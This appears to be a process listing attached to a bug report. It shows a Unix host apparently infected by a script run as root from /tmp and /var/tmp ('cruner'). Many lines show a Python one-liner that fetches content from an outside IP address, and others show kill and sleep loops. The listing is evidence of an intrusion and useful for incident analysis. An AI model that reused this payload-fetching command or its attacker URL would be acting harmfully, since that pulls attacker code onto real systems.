sh /var/tmp/cruner > root 12231 12225 0 15:44:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9402 3197 0 - ? 0:00 <defunct> > root 17224 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23574 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12275 677 0 15:45:55 ? 0:00 xargs kill -9 > root 20971 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 824 24482 0 15:45:58 ? 0:00 sleep 60 > root 17476 5824 0 - ? 0:00 <defunct> > root 25173 23208 0 15:44:54 ? 0:00 bash -sh > root 12341 14783 0 - ? 0:00 <defunct> > root 4591 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21571 1208 0 15:43:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29870 28421 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2184 578 0 - ? 0:00 <defunct> > root 7356 27533 0 15:43:43 ? 0:00 bash -sh > root 1777 12412 0 15:45:19 ? 0:00 sleep 60 > root 15426 22297 0 15:46:08 ? 0:00 bash -sh > root 6788 14085 0 - ? 0:00 <defunct> > root 10247 18021 0 15:45:55 ? 0:00 sleep 60 > root 5788 9377 0 15:46:06 ? 0:00 sleep 60 > root 16295 11788 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2469 4502 0 15:45:19 ? 0:00 sleep 60 > root 25491 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner > root 7730 772 0 15:45:20 ? 0:00 sleep 60 > root 5676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23795 28830 0 15:45:57 ? 0:00 sleep 60 > root 12225 13407 0 15:44:43 ? 0:00 bash -sh > root 24303 23701 0 15:45:27 ? 0:00 sleep 60 > root 10448 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23816 18913 0 - ? 0:00 <defunct> > root 2996 16235 0 15:45:48 ? 0:00 sleep 60 > root 3527 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19371 3034 0 15:46:14 ? 0:00 sleep 60 > root 25214 20550 0 15:45:57 ? 0:00 sleep 60 > root 2792 1283 0 15:43:08 ? 0:00 bash -sh > root 1693 6753 0 15:45:48 ? 0:00 sleep 60 > root 29768 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12697 21688 0 15:45:50 ? 0:00 bash -sh > root 1046 5908 0 15:45:53 ? 0:00 sleep 60 > root 29565 29382 0 15:45:18 ? 0:00 sleep 60 > root 29937 28681 0 15:46:11 ? 0:00 sleep 60 > root 27350 23093 0 15:45:34 ? 0:00 sleep 60 > root 23721 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26738 26628 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4733 1 0 20:35:13 ? 0:00 sh /var/tmp/cruner > root 2785 1 0 21:13:55 ? 0:00 sh /var/tmp/cruner > root 19943 2027 0 15:46:00 ? 0:00 sleep 60 > root 18871 1395 0 15:46:09 ? 0:00 bash -sh > root 5089 6114 0 15:46:16 ? 0:00 sleep 60 > root 878 8600 0 15:46:11 ? 0:00 bash -sh > root 11069 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22422 12237 0 15:45:33 ? 0:00 sleep 60 > root 9718 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22981 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13938 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10480 310 0 15:46:07 ? 0:00 sleep 60 > root 12214 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14172 14158 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25045 16740 0 15:43:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1354 14567 0 15:45:53 ? 0:00 sleep 60 > root 28327 11252 0 15:45:57 ? 0:00 sleep 60 > root 996 977 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5592 2676 0 - ? 0:00 <defunct> > root 17854 12914 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15342 12995 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25981 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15584 29522 0 15:46:13 ? 0:00 sleep 60 > root 14028 14109 0 15:45:50 ? 0:00 bash -sh > root 5705 3472 0 15:46:06 ? 0:00 sleep 60 > root 2757 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7477 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13939 25772 0 15:45:50 ? 0:00 bash -sh > root 11599 21517 0 15:44:51 ? 0:00 bash -sh > root 27881 797 0 - ? 0:00 <defunct> > root 17407 11306 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6152 3215 0 15:43:37 ? 0:00 bash -sh > root 10005 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13367 333 0 15:44:35 ? 0:00 bash -sh > root 6943 8175 0 15:43:37 ? 0:00 bash -sh > root 23836 18165 0 15:45:43 ? 0:00 sleep 60 > root 433 8057 0 - ? 0:00 <defunct> > root 5744 14219 0 15:46:06 ? 0:00 sleep 60 > root 12255 14118 0 15:45:29 ? 0:00 bash -sh > root 29243 12180 0 - ? 0:00 <defunct> > root 28195 7251 0 15:46:02 ? 0:00 sleep 60 > root 3629 281 0 - ? 0:00 <defunct> > root 1745 1671 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4312 12865 0 15:46:06 ? 0:00 bash -sh > root 8198 24173 0 15:46:12 ? 0:00 bash -sh > root 17749 12906 0 - ? 0:00 <defunct> > root 5916 25357 0 15:45:31 ? 0:00 sleep 60 > root 10439 8482 0 - ? 0:00 <defunct> > root 25534 19291 0 - ? 0:00 <defunct> > root 8842 13309 0 15:45:28 ? 0:00 sleep 60 > root 4133 2080 0 15:45:48 ? 0:00 sleep 60 > root 6961 13087 0 - ? 0:00 <defunct> > root 4311 8883 0 - ? 0:00 <defunct> > root 15472 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23851 27139 0 15:45:47 ? 0:00 bash -sh > root 17149 20182 0 - ? 0:00 <defunct> > root 5019 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5401 16986 0 15:46:06 ? 0:00 sleep 60 > root 21114 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16889 12088 0 15:46:13 ? 0:00 sleep 60 > root 5820 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21525 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25243 6518 0 15:45:17 ? 0:00 bash -sh > root 1079 1697 0 15:45:44 ? 0:00 bash -sh > root 21585 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23980 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12254 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15830 14891 0 - ? 0:00 <defunct> > root 12083 11068 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29017 12114 0 15:46:02 ? 0:00 sleep 60 > root 29337 22857 0 15:45:24 ? 0:00 sleep 60 > root 2098 6376 0 15:45:53 ? 0:00 bash -sh > root 18247 17356 0 - ? 0:00 <defunct> > root 22623 18973 0 15:45:38 ? 0:00 sleep 60 > root 21754 3759 0 15:45:06 ? 0:00 bash -sh > root 11462 10927 0 15:45:25 ? 0:00 sleep 60 > root 2937 6827 0 - ? 0:00 <defunct> > root 12489 1592 0 - ? 0:00 <defunct> > root 14593 18206 0 15:45:45 ? 0:00 bash -sh > root 16375 22188 0 15:45:16 ? 0:00 sleep 60 > root 14060 13502 0 15:45:11 ? 0:00 bash -sh > root 14644 868 0 15:46:04 ? 0:00 bash -sh > root 5154 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9255 19788 0 15:46:07 ? 0:00 sleep 60 > root 13712 6231 0 15:45:21 ? 0:00 sleep 60 > root 7718 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22948 13826 0 15:46:09 ? 0:00 xargs kill -9 > root 13825 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22989 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4897 20775 0 15:45:35 ? 0:00 sleep 60 > root 7219 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25302 16169 0 15:45:47 ? 0:00 xargs kill -9 > root 589 520 0 15:44:11 ? 0:00 bash -sh > root 13663 17649 0 15:43:55 ? 0:00 bash -sh > root 25284 25243 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 326 19146 0 15:44:41 ? 0:00 bash -sh > root 19265 25817 0 - ? 0:00 <defunct> > root 11107 21094 0 15:45:25 ? 0:00 sleep 60 > root 18820 25769 0 - ? 0:00 <defunct> > root 15824 8836 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6544 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26409 18700 0 - ? 0:00 <defunct> > root 8968 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7764 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7815 29955 0 15:46:07 ? 0:00 bash -sh > root 26288 26382 0 - ? 0:00 <defunct> > root 19858 13452 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7799 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4806 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27671 20713 0 - ? 0:00 <defunct> > root 3915 3899 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7560 1099 0 - ? 0:00 <defunct> > root 6392 20717 0 15:45:28 ? 0:00 bash -sh > root 1080 18729 0 15:46:06 ? 0:00 sleep 60 > root 21910 20771 0 15:45:06 ? 0:00 bash -sh > root 1531 12300 0 15:45:31 ? 0:00 sleep 60 > root 20332 21781 0 15:45:29 ? 0:00 sleep 60 > root 5933 24261 0 - ? 0:00 <defunct> > root 27464 23031 0 15:46:15 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24177 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25644 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18867 14338 0 15:45:12 ? 0:00 bash -sh > root 13971 8580 0 15:45:45 ? 0:00 bash -sh > root 5655 2483 0 15:45:00 ? 0:00 xargs kill -9 > root 8145 22077 0 - ? 0:00 <defunct> > root 7533 5275 0 15:46:07 ? 0:00 bash -sh > root 23246 20971 0 15:45:47 ? 0:00 sleep 60 > root 975 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4034 25168 0 15:45:40 ? 0:00 bash -sh > root 7910 8156 0 15:45:31 ? 0:00 bash -sh > root 10766 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 501 19009 0 15:44:11 ? 0:00 bash -sh > root 20925 25161 0 15:46:14 ? 0:00 bash -sh > root 13536 10799 0 15:42:48 ? 0:00 bash -sh > root 12721 12713 0 15:43:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13730 27189 0 15:45:11 ? 0:00 bash -sh > root 27922 11337 0 15:45:34 ? 0:00 sleep 60 > root 27611 11171 0 15:45:18 ? 0:00 sleep 60 > root 16532 20967 0 - ? 0:00 <defunct> > root 9089 9057 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11551 18586 0 15:44:51 ? 0:00 bash -sh > root 3354 20583 0 15:45:48 ? 0:00 sleep 60 > root 21199 17735 0 15:45:42 ? 0:00 sleep 60 > root 24750 1 0 01:16:12 ? 0:00 sh /var/tmp/cruner > root 10848 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13348 13152 0 - ? 0:00 <defunct> > root 18857 18824 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29025 28779 0 15:44:59 ? 0:00 bash -sh > root 3296 2746 0 - ? 0:00 <defunct> > root 24837 7279 0 - ? 0:00 <defunct> > root 7584 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16125 7786 0 15:45:32 ? 0:00 sleep 60 > root 24066 12937 0 - ? 0:00 <defunct> > root 1155 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27765 10612 0 15:46:02 ? 0:00 bash -sh > root 26955 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14774 27662 0 15:46:00 ? 0:00 bash -sh > root 10404 18519 0 - ? 0:00 <defunct> > root 8347 14154 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21364 26172 0 15:45:26 ? 0:00 sleep 60 > root 17058 16956 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13721 28996 0 15:45:37 ? 0:00 bash -sh > root 20648 12544 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12496 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24278 23343 0 15:45:47 ? 0:00 sleep 60 > root 19395 26530 0 - ? 0:00 <defunct> > root 17094 10329 0 15:45:56 ? 0:00 bash -sh > root 13037 12959 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25041 25738 0 - ? 0:00 <defunct> > root 13817 1056 0 15:45:32 ? 0:00 sleep 60 > root 25789 20040 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3570 7371 0 - ? 0:00 <defunct> > root 16410 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8572 20756 0 - ? 0:00 <defunct> > root 24201 6386 0 - ? 0:00 <defunct> > root 21861 24774 0 15:46:05 ? 0:00 bash -sh > root 21234 23595 0 15:45:52 ? 0:00 bash -sh > root 20987 7542 0 - ? 0:00 <defunct> > root 6345 1564 0 15:45:31 ? 0:00 sleep 60 > root 27953 21881 0 15:45:57 ? 0:00 sleep 60 > root 504 14952 0 15:45:48 ? 0:00 sleep 60 > root 13504 6972 0 15:45:37 ? 0:00 bash -sh > root 26520 12180 0 - ? 0:00 <defunct> > root 10505 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16829 2913 0 15:45:56 ? 0:00 xargs kill -9 > root 7737 2972 0 - ? 0:00 <defunct> > root 1559 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20713 8758 0 15:45:52 ? 0:00 bash -sh > root 25684 11389 0 - ? 0:00 <defunct> > root 12119 12092 0 - ? 0:00 <defunct> > root 1972 16968 0 15:46:06 ? 0:00 bash -sh > root 19416 7028 0 15:45:16 ? 0:00 bash -sh > root 18350 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28102 27445 0 - ? 0:00 <defunct> > root 29158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 649 3142 0 15:43:07 ? 0:00 bash -sh > root 3014 2989 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18021 1 0 22:21:41 ? 0:00 sh /var/tmp/cruner > root 19941 3554 0 15:45:17 ? 0:00 bash -sh > root 2179 6544 0 15:45:39 ? 0:00 bash -sh > root 13124 22729 0 15:45:55 ? 0:00 sleep 60 > root 20660 8909 0 15:45:42 ? 0:00 sleep 60 > root 16392 27179 0 15:45:26 ? 0:00 sleep 60 > root 23421 6329 0 15:45:43 ? 0:00 bash -sh > root 17028 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25561 8648 0 15:45:27 ? 0:00 sleep 60 > root 19646 27585 0 - ? 0:00 <defunct> > root 1739 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28354 26849 0 15:45:47 ? 0:00 xargs kill -9 > root 2734 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25452 8938 0 - ? 0:00 <defunct> > root 11477 4483 0 15:43:44 ? 0:00 bash -sh > root 25003 8653 0 15:46:05 ? 0:00 sleep 60 > root 10556 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29413 19109 0 15:44:41 ? 0:00 bash -sh > root 7075 7062 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25320 25274 0 15:43:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5204 25469 0 - ? 0:00 <defunct> > root 1314 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6004 11338 0 - ? 0:00 <defunct> > root 20163 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20411 8033 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 5081 27425 0 15:45:28 ? 0:00 sleep 60 > root 9950 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29941 19798 0 - ? 0:00 <defunct> > root 29330 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12500 19791 0 15:46:08 ? 0:00 bash -sh > root 12268 28344 0 15:46:13 ? 0:00 bash -sh > root 7332 8032 0 15:44:13 ? 0:00 bash -sh > root 28629 5138 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 25575 17355 0 15:44:32 ? 0:00 bash -sh > root 3108 26794 0 - ? 0:00 <defunct> > root 29905 849 0 15:45:58 ? 0:00 sleep 60 > root 18307 12642 0 15:43:12 ? 0:00 bash -sh > root 14279 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11087 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1424 12504 0 15:45:27 ? 0:00 sleep 60 > root 5158 4113 0 - ? 0:00 <defunct> > root 17744 29885 0 15:45:12 ? 0:00 bash -sh > root 10871 22600 0 15:44:51 ? 0:00 bash -sh > root 25401 26850 0 15:45:17 ? 0:00 sleep 60 > root 22175 25061 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 10107 25454 0 15:45:15 ? 0:00 bash -sh > root 27646 26279 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6085 23733 0 15:44:38 ? 0:00 bash -sh > root 29119 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25660 20960 0 15:45:34 ? 0:00 bash -sh > root 19732 23776 0 15:45:16 ? 0:00 sleep 60 > root 6124 5641 0 - ? 0:00 <defunct> > root 2322 961 0 15:46:11 ? 0:00 sleep 60 > root 19043 22063 0 15:45:33 ? 0:00 bash -sh > root 24051 22106 0 15:45:13 ? 0:00 bash -sh > root 16223 3730 0 15:44:48 ? 0:00 bash -sh > root 15464 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26263 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2344 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13763 22083 0 15:46:04 ? 0:00 sleep 60 > root 20617 3126 0 15:45:52 ? 0:00 bash -sh > root 23351 16835 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 9333 1797 0 15:45:50 ? 0:00 sleep 60 > root 19193 1 0 23:14:39 ? 0:00 sh /var/tmp/cruner > root 29665 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21567 13738 0 15:46:14 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2037 4925 0 15:45:39 ? 0:00 bash -sh > root 505 262 0 15:46:06 ? 0:00 sleep 60 > root 28613 9304 0 15:46:02 ? 0:00 sleep 60 > root 8256 2374 0 - ? 0:00 <defunct> > root 19190 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4365 1549 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5376 6274 0 15:46:16 ? 0:00 sh /tmp/cruner > root 4241 1596 0 - ? 0:00 <defunct> > root 4580 15270 0 15:45:49 ? 0:00 bash -sh > root 25044 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10347 1 0 22:48:15 ? 0:01 sh /var/tmp/cruner > root 13569 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10385 16921 0 - ? 0:00 <defunct> > root 9564 28516 0 15:45:59 ? 0:00 sh /tmp/cruner > root 28134 7601 0 - ? 0:00 <defunct> > root 22456 1229 0 15:43:40 ? 0:00 bash -sh > root 13643 21246 0 15:45:55 ? 0:00 sleep 60 > root 24951 28436 0 15:45:17 ? 0:00 sleep 60 > root 18917 11852 0 15:45:37 ? 0:00 bash -sh > root 26573 10255 0 15:46:10 ? 0:00 sleep 60 > root 28630 29731 0 15:45:43 ? 0:00 sh /tmp/cruner > root 9461 16351 0 - ? 0:00 <defunct> > root 7339 7327 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7220 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24967 8851 0 15:46:05 ? 0:00 sleep 60 > root 116 11803 0 - ? 0:00 <defunct> > root 5658 22527 0 - ? 0:00 <defunct> > root 4414 1713 0 - ? 0:00 <defunct> > root 18705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5429 25955 0 15:45:35 ? 0:00 sleep 60 > root 7119 14009 0 - ? 0:00 <defunct>
<b>You cannot view the attachment while viewing its details because your browser does not support IFRAMEs. <a href="attachment.cgi?id=287274">View the attachment on a separate page</a>.</b>
View Attachment As Raw
Actions:
View
Attachments on
bug 576498
: 287274
